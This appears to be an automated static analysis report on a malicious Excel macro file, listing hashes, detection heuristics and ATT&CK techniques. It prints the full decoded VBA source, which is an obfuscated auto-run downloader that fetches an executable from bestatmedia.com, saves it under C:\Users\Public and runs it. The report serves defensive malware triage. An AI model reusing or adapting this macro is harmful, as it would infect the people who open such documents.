Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eacfdbbcceda821a…

MALICIOUS

Office (OOXML)

114.1 KB Authoring application: 12.0000 First seen: 2020-09-07
MD5: a2c60c713d8c898528ae3287ae202a56 SHA-1: 9efbce0794b0aa40eba24e7f09f8095947d6e299 SHA-256: eacfdbbcceda821aa30589453b894e14063342e61cf3d4dc6f0da0faac5a1863
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains obfuscated VBA macros, including a Workbook_Open auto-execution routine. The script attempts to download a file from 'http://bestatmedia.com/igfxsrvc.exe' and execute it, likely as a second-stage payload. The use of CreateObject and obfuscated strings points to a downloader or droppper malware.

Heuristics 8

  • ClamAV: Xls.Malware.Sload-7135989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-7135989-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz.write ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6592 bytes
SHA-256: 216632758d0e24f24759119bf7371617e0382a76fd900b59b04325d3a7f4bc4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Range("A6:J13").Select
wdypywquuxnebcnrmgnxyrxxuwxwdeuappbsbbxwayhwkdnsxhccbtyegavbytqpdmpmavpkirwzkanqjfzvcrzvqxlagvyhhrsx "68 74 74 70 3A 2F 2F 62 65 73 74 61 74 6D 65 64 69 61 2E 63 6F 6D 2F 69 67 66 78 73 72 76 63 2E 65 78 65"
  Selection.Font.ColorIndex = 3
End Sub
Public Sub wdypywquuxnebcnrmgnxyrxxuwxwdeuappbsbbxwayhwkdnsxhccbtyegavbytqpdmpmavpkirwzkanqjfzvcrzvqxlagvyhhrsx(zsvtvymossbeddftmxzqnanhsqjelfwaxwagflcxiyrptgkhzfchnllyenafohdmvahgdzobvbiojxomfcffcpmmlbbskxibueus As String)
Dim ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc
  Range("A6:J13").Select
Dim qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz
  Range("A6:J13").Select
Dim nenrmnhvrvncjrdhhjkzvvqajyphabfguxuhhxayhctqzxihwwiquoesonioyaupqgilxvzkimssbzalqhkesomgtctuomaghdat
  Range("A6:J13").Select
Set ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  Range("A6:J13").Select
Set ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
Set nenrmnhvrvncjrdhhjkzvvqajyphabfguxuhhxayhctqzxihwwiquoesonioyaupqgilxvzkimssbzalqhkesomgtctuomaghdat = CreateObject(nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("57 53 63 72 69 70 74 2e 53 68 65 6c 6c"))
ydoszlmuhebvsgutpvxvhackuraezegxusmwahkkltatkpdhwgynfolybeyikivcxdbatxsilnjozizfnthsgtrggovwjbzcyxvh = nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf(zsvtvymossbeddftmxzqnanhsqjelfwaxwagflcxiyrptgkhzfchnllyenafohdmvahgdzobvbiojxomfcffcpmmlbbskxibueus)
ndnyoqbsexysfturacwdluuecwyjogqbnrrkfjdpszciqcqphhcvbrwtjjwsrrexhwfnckmrygllslnaficgeuavvxawmlxavebu = nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 6D 65 68 6B 74 66 70 73 2e 65 78 65")
wcnwvlwugkaxvwnjpxsmvksejqfnjlqnjtdcugltyfpkxcapyolxmoymkjmefilvumoctkojmzopuhghpppuzsbvuqrltgnpuuqk = nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6E 6D 65 68 6B 74 66 70 73 2e 65 78 65")
ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc.Open Chr(71) + Chr(69) + Chr(84), ydoszlmuhebvsgutpvxvhackuraezegxusmwahkkltatkpdhwgynfolybeyikivcxdbatxsilnjozizfnthsgtrggovwjbzcyxvh, False
ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc.send
qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz.Type = 1
qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz.Open
qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz.write ydearbmlcwphynzmcyjgovvbxwrythuecwncyeobcbjomuuwywywvoedhcdujnsvbkebawoyjidmmgodcuawiyjoskuvbtrpjnmc.responseBody
qswbiammlrraoasonvndbpipbswqqodyumnjyyoimwdbsugbbdboajaajgzpdwwxotgcnjqogfrfmhxhmvpnmoyllmzrzzepzfnz.savetofile ndnyoqbsexysfturacwdluuecwyjogqbnrrkfjdpszciqcqphhcvbrwtjjwsrrexhwfnckmrygllslnaficgeuavvxawmlxavebu, 2
nenrmnhvrvncjrdhhjkzvvqajyphabfguxuhhxayhctqzxihwwiquoesonioyaupqgilxvzkimssbzalqhkesomgtctuomaghdat.Run wcnwvlwugkaxvwnjpxsmvksejqfnjlqnjtdcugltyfpkxcapyolxmoymkjmefilvumoctkojmzopuhghpppuzsbvuqrltgnpuuqk
End Sub
Public Function nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf(ByVal pxjawyhiwlqonwyqpqxbucrvcfvwllkyzhwsxkhugdkhlehrokqrgyznfoxrdlxkbrofafsfjcvqrjjyydibvtrbijnjmprvfzgt As String) As String
Dim pbrirlhdcivvfzszdwpianxqrjstlaksdpixmzjjlnyaorenxrrjkytcdbqisnscxcsprvmdnfwmoxcaefwtibhfvgtliaqxvwcl As String
Dim yovbenwebhngyqdnryuvuntkcbvmozqsurbqjvoueddotmmrwdgxchqlulzdskqbqumhondwjzqrjfrppdpktsqnapvyvlcumcxy As String
Dim afcjzjocqycptkooufixdygyrfaxxwfhhsojafkjeoxcngelxnahtauczdrujqfttuhaweoouztpbdllapajvxnhymkwoqaoidjs As Long
For afcjzjocqycptkooufixdygyrfaxxwfhhsojafkjeoxcngelxnahtauczdrujqfttuhaweoouztpbdllapajvxnhymkwoqaoidjs = 1 To Len(pxjawyhiwlqonwyqpqxbucrvcfvwllkyzhwsxkhugdkhlehrokqrgyznfoxrdlxkbrofafsfjcvqrjjyydibvtrbijnjmprvfzgt) Step 3
        pbrirlhdcivvfzszdwpianxqrjstlaksdpixmzjjlnyaorenxrrjkytcdbqisnscxcsprvmdnfwmoxcaefwtibhfvgtliaqxvwcl = Chr$(Val("&H" & Mid$(pxjawyhiwlqonwyqpqxbucrvcfvwllkyzhwsxkhugdkhlehrokqrgyznfoxrdlxkbrofafsfjcvqrjjyydibvtrbijnjmprvfzgt, afcjzjocqycptkooufixdygyrfaxxwfhhsojafkjeoxcngelxnahtauczdrujqfttuhaweoouztpbdllapajvxnhymkwoqaoidjs, 2)))
        yovbenwebhngyqdnryuvuntkcbvmozqsurbqjvoueddotmmrwdgxchqlulzdskqbqumhondwjzqrjfrppdpktsqnapvyvlcumcxy = yovbenwebhngyqdnryuvuntkcbvmozqsurbqjvoueddotmmrwdgxchqlulzdskqbqumhondwjzqrjfrppdpktsqnapvyvlcumcxy & pbrirlhdcivvfzszdwpianxqrjstlaksdpixmzjjlnyaorenxrrjkytcdbqisnscxcsprvmdnfwmoxcaefwtibhfvgtliaqxvwcl
    Next afcjzjocqycptkooufixdygyrfaxxwfhhsojafkjeoxcngelxnahtauczdrujqfttuhaweoouztpbdllapajvxnhymkwoqaoidjs
nbscsrukxytfnessuvnlnuvcjoemtpsshpdinwdkxoyrdgncdf = yovbenwebhngyqdnryuvuntkcbvmozqsurbqjvoueddotmmrwdgxchqlulzdskqbqumhondwjzqrjfrppdpktsqnapvyvlcumcxy
End Function

Attribute VB_Name = "oywnackmajrdcfoqtqvblsict"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: 04f066a28ba214d01df8a58075c6d60ee156126d15ccd2a71c8c334450d31456
Detection
ClamAV: Xls.Malware.Sload-7135989-0
Obfuscation or payload: likely
142 of 259 identifiers look randomly generated (e.g. '_B_var_wcnwvlwugkaxvwnjpxsmvksejqfnjlqnj') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.